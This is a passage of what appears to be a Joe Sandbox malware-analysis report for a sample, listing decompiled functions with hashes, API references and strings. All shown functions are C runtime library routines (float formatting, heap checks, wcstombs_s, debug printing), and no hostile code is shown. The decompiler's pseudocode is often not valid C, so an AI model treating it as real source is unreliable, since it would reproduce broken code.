Opcode Fuzzy Hash: 778ccddce6d80ebf428a3a2114098694b13ee476d875678dd32114e9b0909af6
Instruction Fuzzy Hash: 0CF01231684285ABE7105BB0AE0EF8837A8AB04702F140062F386F54F0C6B594848B19

Uniqueness

Uniqueness Score: -1.00%

Function 0042E990, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 61
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 60%

			E0042E990(void* __ebx, void* __edi, void* __esi, void* __eflags, char _a4, intOrPtr* _a12, intOrPtr _a16, char _a20) {
				signed int _v8;
				char _v32;
				char _v34;
				short _v36;
				short _v40;
				intOrPtr _v44;
				char _v48;
				signed int _t25;
				intOrPtr* _t29;
				signed int _t55;
				void* _t56;

				_t25 =  *0x440354; // 0xd0648bec
				_v8 = _t25 ^ _t55;
				E0042EA40( &_v48,  &_a4);
				_push( &_v36);
				_push(0);
				_t29 = _t56 + 8 - 0xc;
				 *_t29 = _v48;
				 *((intOrPtr*)(_t29 + 4)) = _v44;
				 *((short*)(_t29 + 8)) = _v40;
				 *((intOrPtr*)(_a12 + 8)) = E00438EB0(__ebx, __edi, __esi);
				 *_a12 = _v34;
				 *((intOrPtr*)(_a12 + 4)) = _v36;
				_t18 =  &_a20; // 0x41ee7e
				E0041E050(E0041DBD0(__ebx,  &_v32, __esi, _a16,  *_t18,  &_v32), _t34, L"strcpy_s(resultstr, resultsize, autofos.man)", L"_fltout2", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\prebuild\\conv\\cfout.c", 0x2e, 0);
				 *((intOrPtr*)(_a12 + 0xc)) = _a16;
				return E0042BD50(_a12, __ebx, _v8 ^ _t55, _a16, __edi, __esi, 0x11);
			}

0x0042e998
0x0042e99f
0x0042e9aa
0x0042e9b5
0x0042e9b6
0x0042e9bd
0x0042e9c2
0x0042e9c7
0x0042e9ce
0x0042e9dd
0x0042e9e7
0x0042e9f0
0x0042ea0a
0x0042ea1b
0x0042ea29
0x0042ea3c

APIs

___dtold.LIBCMTD ref: 0042E9AA
_$I10_OUTPUT.LIBCMTD ref: 0042E9D2
_wcscpy_s.LIBCMTD ref: 0042EA12

Part of subcall function 0041DBD0: __invalid_parameter.LIBCMTD ref: 0041DC42

__invoke_watson_if_error.LIBCMTD ref: 0042EA1B

Strings

strcpy_s(resultstr, resultsize, autofos.man), xrefs: 0042EA01
~A, xrefs: 0042EA0A, 0042EA0D
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c, xrefs: 0042E9F7
_fltout2, xrefs: 0042E9FC

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID: _fltout2$f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c$strcpy_s(resultstr, resultsize, autofos.man)$~A
API String ID: 289039318-2960215128
Opcode ID: 7c1bf9870b9acff13d5e6e3829d3d5e690f23311637098bd71c3258c7dc841f3
Instruction ID: c7766188889a7ee6367664a9c45ca7373aaf3ba843b2979d316ef749b35cca2f
Opcode Fuzzy Hash: 7c1bf9870b9acff13d5e6e3829d3d5e690f23311637098bd71c3258c7dc841f3
Instruction Fuzzy Hash: 89214DB5A003089BCB04DF65DC42AEEB7B4EF8C704F148559F80567381E634E911CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041CECE, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041CF4B
_CheckBytes.LIBCMTD ref: 0041CFE9
_CheckBytes.LIBCMTD ref: 0041D092

Strings

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041D01E
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041CF80
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 0041D0BC
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 0041D131

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: BytesCheck
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 1653226792-1867057952
Opcode ID: 7ac275f8fe3b7ff41d231405028f99a4cf14a7b426d7d4c509037e328ca49cc4
Instruction ID: 807629434433d5a8b4d53caebe2706eeec50b27c88625ea5d3caac9192d0dcb6
Opcode Fuzzy Hash: 7ac275f8fe3b7ff41d231405028f99a4cf14a7b426d7d4c509037e328ca49cc4
Instruction Fuzzy Hash: 30611EB5E401099FDB18CB84DC95FBFB7B6AB48304F24811AE5156B3D1C279EC82CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00437894, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00437894(signed int __eax) {
				intOrPtr _t45;
				void* _t50;
				signed int _t54;
				void* _t60;
				signed int _t67;
				signed int _t69;
				signed int _t71;
				signed int _t73;
				signed int _t79;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t84;
				void* _t85;
				void* _t94;

				_t85 = _t84 + 0x10;
				 *(_t82 - 0xc) = __eax;
				if( *(_t82 - 0xc) != 0xffffffff) {
					_t71 =  *(_t82 - 0xc) + 1;
					 *(_t82 - 0xc) = _t71;
					__eflags =  *(_t82 + 0xc);
					if( *(_t82 + 0xc) == 0) {
						L27:
						__eflags =  *(_t82 + 8);
						if( *(_t82 + 8) != 0) {
							 *( *(_t82 + 8)) =  *(_t82 - 0xc);
						}
						_t45 =  *((intOrPtr*)(_t82 - 4));
						L30:
						return _t45;
					}
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					if( *(_t82 - 0xc) <=  *(_t82 + 0x10)) {
						L26:
						_t73 =  *(_t82 + 0xc) +  *(_t82 - 0xc);
						__eflags = _t73;
						 *((char*)(_t73 - 1)) = 0;
						goto L27;
					}
					__eflags =  *((intOrPtr*)(_t82 + 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t82 + 0x18)) == 0xffffffff) {
						L25:
						 *(_t82 - 0xc) =  *(_t82 + 0x10);
						 *((intOrPtr*)(_t82 - 4)) = 0x50;
						goto L26;
					}
					 *( *(_t82 + 0xc)) = 0;
					__eflags =  *(_t82 + 0x10) - 0xffffffff;
					if( *(_t82 + 0x10) != 0xffffffff) {
						__eflags =  *(_t82 + 0x10) - 0x7fffffff;
						if( *(_t82 + 0x10) != 0x7fffffff) {
							__eflags =  *(_t82 + 0x10) - 1;
							if( *(_t82 + 0x10) > 1) {
								__eflags =  *0x440208 -  *(_t82 + 0x10) - 1; // 0xffffffff
								if(__eflags >= 0) {
									_t67 =  *(_t82 + 0x10) - 1;
									__eflags = _t67;
									 *(_t82 - 0x2c) = _t67;
								} else {
									_t54 =  *0x440208; // 0xffffffff
									 *(_t82 - 0x2c) = _t54;
								}
								_t71 =  *(_t82 - 0x2c);
								_t52 =  *(_t82 + 0xc) + 1;
								__eflags =  *(_t82 + 0xc) + 1;
								E0041B5A0(_t80, _t52, 0xfe, _t71);
								_t85 = _t85 + 0xc;
							}
						}
					}
					_t65 =  *(_t82 + 0x10);
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					asm("sbb edx, edx");
					 *(_t82 - 0x18) =  ~_t71;
					if( *(_t82 - 0xc) ==  *(_t82 + 0x10)) {
						_push(L"sizeInBytes > retsize");
						_push(0);
						_push(0x157);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t50 = L0041E410();
						_t85 = _t85 + 0x14;
						__eflags = _t50 - 1;
						if(_t50 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t82 - 0x18);
					if( *(_t82 - 0x18) != 0) {
						goto L25;
					} else {
						 *((intOrPtr*)(L00422F00(_t65))) = 0x22;
						E00422C90(_t60, _t65, _t80, _t81, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
						_t45 = 0x22;
						goto L30;
					}
				}
				if( *(_t82 + 0xc) != 0) {
					 *( *(_t82 + 0xc)) = 0;
					if( *(_t82 + 0x10) != 0xffffffff &&  *(_t82 + 0x10) != 0x7fffffff &&  *(_t82 + 0x10) > 1) {
						_t94 =  *0x440208 -  *(_t82 + 0x10) - 1; // 0xffffffff
						if(_t94 >= 0) {
							_t79 =  *(_t82 + 0x10) - 1;
							__eflags = _t79;
							 *(_t82 - 0x28) = _t79;
						} else {
							_t69 =  *0x440208; // 0xffffffff
							 *(_t82 - 0x28) = _t69;
						}
						_t61 =  *(_t82 + 0xc) + 1;
						E0041B5A0(_t80,  *(_t82 + 0xc) + 1, 0xfe,  *(_t82 - 0x28));
					}
				}
				_t45 =  *((intOrPtr*)(L00422F00(_t61)));
				goto L30;
			}

0x00437894
0x00437897
0x0043789e
0x0043790a
0x0043790d
0x00437910
0x00437914
0x00437a01
0x00437a01
0x00437a05
0x00437a0d
0x00437a0d
0x00437a0f
0x00437a12
0x00437a15
0x00437a15
0x0043791d
0x00437920
0x004379f7
0x004379fa
0x004379fa
0x004379fd
0x00000000
0x004379fd
0x00437926
0x0043792a
0x004379ea
0x004379ed
0x004379f0
0x00000000
0x004379f0
0x00437933
0x00437936
0x0043793a
0x0043793c
0x00437943
0x00437945
0x00437949
0x00437951
0x00437957
0x00437966
0x00437966
0x00437969
0x00437959
0x00437959
0x0043795e
0x0043795e
0x0043796c
0x00437978
0x00437978
0x0043797c
0x00437981
0x00437981
0x00437949
0x00437943
0x00437984
0x00437987
0x0043798a
0x0043798e
0x00437991
0x00437993
0x00437998
0x0043799a
0x0043799f
0x004379a4
0x004379a6
0x004379ab
0x004379ae
0x004379b1
0x004379b3
0x004379b3
0x004379b1
0x004379b4
0x004379b8
0x00000000
0x004379ba
0x004379bf
0x004379db
0x004379e3
0x00000000
0x004379e3
0x004379b8
0x004378a4
0x004378a9
0x004378b0
0x004378c7
0x004378cd
0x004378dd
0x004378dd
0x004378e0
0x004378cf
0x004378cf
0x004378d5
0x004378d5
0x004378ef
0x004378f3
0x004378f8
0x004378b0
0x00437900
0x00000000

APIs

_memset.LIBCMT ref: 004378F3
_memset.LIBCMT ref: 0043797C
__invalid_parameter.LIBCMTD ref: 004379DB

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043799F, 004379CC
_wcstombs_s_l, xrefs: 004379D1
sizeInBytes > retsize, xrefs: 00437993, 004379D6
P, xrefs: 004379F0

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2178901135-56445615
Opcode ID: 12ba152869e2f5aa2034a7e53a68d6bf0a9d64c5fe8e9934f363fb63a597b9e5
Instruction ID: a7c3e9f2a19edda361d1558e3987c6ddedfe8baafa51d104863023cb16dc9d2d
Opcode Fuzzy Hash: 12ba152869e2f5aa2034a7e53a68d6bf0a9d64c5fe8e9934f363fb63a597b9e5
Instruction Fuzzy Hash: 15418EB0A04309EBDB24DF68C8457AE7771FF48328F10976AE8A42A3D0D3799951CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0041D967, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0041D967() {
				intOrPtr _t54;
				void* _t61;
				intOrPtr _t68;
				void* _t70;
				void* _t98;
				void* _t99;
				signed int _t100;
				void* _t102;
				void* _t105;

				L0:
				while(1) {
					L0:
					 *(_t100 - 4) =  *(_t100 - 4) + 1;
					if( *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) + 0x10)) >= 0x10) {
						 *((intOrPtr*)(_t100 - 0x6c)) = 0x10;
					} else {
						_t6 =  *((intOrPtr*)(_t100 + 0xc)) + 0x10; // 0x2
						 *((intOrPtr*)(_t100 - 0x6c)) =  *_t6;
					}
					if( *(_t100 - 4) >=  *((intOrPtr*)(_t100 - 0x6c))) {
						break;
					}
					L5:
					 *(_t100 - 0x61) =  *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) +  *(_t100 - 4) + 0x20));
					if(E0041AEE0(_t100 - 0x60) == 0 ||  *((intOrPtr*)( *((intOrPtr*)(E0041AEE0(_t100 - 0x60))) + 0xac)) <= 1) {
						_t54 = E00423090(E0041AEE0(_t100 - 0x60),  *(_t100 - 0x61) & 0x000000ff, 0x157);
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t54;
					} else {
						_t68 = E00423140(_t70, _t98, _t99,  *(_t100 - 0x61) & 0x000000ff, 0x157, E0041AEE0(_t100 - 0x60));
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t68;
					}
					if( *((intOrPtr*)(_t100 - 0x70)) == 0) {
						 *(_t100 - 0x74) = 0x20;
					} else {
						 *(_t100 - 0x74) =  *(_t100 - 0x61) & 0x000000ff;
					}
					 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) =  *(_t100 - 0x74);
					 *((intOrPtr*)(_t100 - 0x68)) =  *((intOrPtr*)(L00422F00( *(_t100 - 0x74))));
					 *((intOrPtr*)(L00422F00( *(_t100 - 0x74)))) = 0;
					_t84 = _t100 +  *(_t100 - 4) * 3 - 0x3c;
					_t61 = E0042BCF0(_t100 +  *(_t100 - 4) * 3 - 0x3c, _t100 +  *(_t100 - 4) * 3 - 0x3c, 0x31 -  *(_t100 - 4) * 3, "%.2X ",  *(_t100 - 0x61) & 0x000000ff);
					_t102 = _t105 + 0x10;
					if(_t61 < 0) {
						E0041DAE0( *((intOrPtr*)(L00422F00(_t84))), 0x16, 0x22, L"(*_errno())", L"_printMemBlockData", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x963, 0);
						_t102 = _t102 + 0x20;
					}
					 *((intOrPtr*)(L00422F00(_t84))) =  *((intOrPtr*)(_t100 - 0x68));
				}
				L15:
				_t91 =  *(_t100 - 4);
				 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) = 0;
				_push(_t100 - 0x3c);
				if(L00429610(0, 0, 0, 0, " Data: <%s> %s\n", _t100 - 0x50) == 1) {
					asm("int3");
				}
				return E0042BD50(E0041AEB0(_t100 - 0x60), _t70,  *(_t100 - 8) ^ _t100, _t91, _t98, _t99);
			}

0x0041d967
0x0041d967
0x0041d967
0x0041d96d
0x0041d977
0x0041d984
0x0041d979
0x0041d97c
0x0041d97f
0x0041d97f
0x0041d991
0x00000000
0x00000000
0x0041d997
0x0041d9a0
0x0041d9ad
0x0041d9f5
0x0041d9fa
0x0041d9fd
0x0041d9c2
0x0041d9d5
0x0041d9da
0x0041d9dd
0x0041d9dd
0x0041da04
0x0041da0f
0x0041da06
0x0041da0a
0x0041da0a
0x0041da1c
0x0041da27
0x0041da2f
0x0041da53
0x0041da58
0x0041da5d
0x0041da62
0x0041da86
0x0041da8b
0x0041da8b
0x0041da96
0x0041da96
0x0041da9d
0x0041da9d
0x0041daa0
0x0041daa8
0x0041dac5
0x0041dac7
0x0041dac7
0x0041dadd

APIs

__isctype_l.LIBCMTD ref: 0041D9D5
_swprintf_s.LIBCMTD ref: 0041DA58
__invoke_watson_if_oneof.LIBCMTD ref: 0041DA86

Strings

(*_errno()), xrefs: 0041DA75
_printMemBlockData, xrefs: 0041DA70
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041DA6B
%.2X , xrefs: 0041DA3A

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4289034949-3158630120
Opcode ID: 7890e27b60dd6190a594b9f91f52ede1532afa69bed6f8af2efe2e3822764927
Instruction ID: 8afab3d5f5852a5ec798ef10fa96c03d26eda52e76b32485ab5fa1d077447b60
Opcode Fuzzy Hash: 7890e27b60dd6190a594b9f91f52ede1532afa69bed6f8af2efe2e3822764927
Instruction Fuzzy Hash: 2831A4B0E44318DFCB08DF91CA52AEEB771AF45304F20416EE4056F286D7789A41DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00429141, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 69fileCOMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 004291A8
__set_error_mode.LIBCMTD ref: 004291B7
GetStdHandle.KERNEL32(000000F4), ref: 004291CE
_strlen.LIBCMT ref: 004291F4
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0042920C

Strings

t/j, xrefs: 004291E1
jjj, xrefs: 00429190

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __set_error_mode$FileHandleWrite_strlen
String ID: jjj$t/j
API String ID: 1121076223-194299851
Opcode ID: fa9ec959f9373a2e9bdca725131c4508d04c308dee4c8ed508620b218d41543a
Instruction ID: 04c9bfbb21b20f254fde3711ed47012d076dbb6a66f357865131002b57c9e3ac
Opcode Fuzzy Hash: fa9ec959f9373a2e9bdca725131c4508d04c308dee4c8ed508620b218d41543a
Instruction Fuzzy Hash: 7B210334B00219FBEB24CB89F989BAE3374EB05304FA0456AE50553391D3799E70DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00435047, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00435047(void* __ebx, void* __edi, void* __esi) {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					_t556 = __esi;
					_t555 = __edi;
					_t528 = __ebx;
					 *((intOrPtr*)(_t557 - 0x260)) = 0x27;
					while(1) {
						L148:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L153:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E004283F0(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E004283F0(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
											 *(__ebp - 0x2b4) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E004283F0(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
								 *(__ebp - 0x2b4) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L170;
							}
							L166:
							__eflags =  *(__ebp - 0x2b4);
							if(__eflags > 0) {
								goto L170;
							}
							L167:
							if(__eflags < 0) {
								L169:
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
								__edx =  *(__ebp - 0x2b4);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
								 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L171:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2c0);
										__eax =  *(__ebp - 0x2bc);
										__eax =  *(__ebp - 0x2bc) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2bc) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									L182:
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										L186:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L190:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L216;
												}
												L191:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2c4);
													__eax = E004357B0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E004357F0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
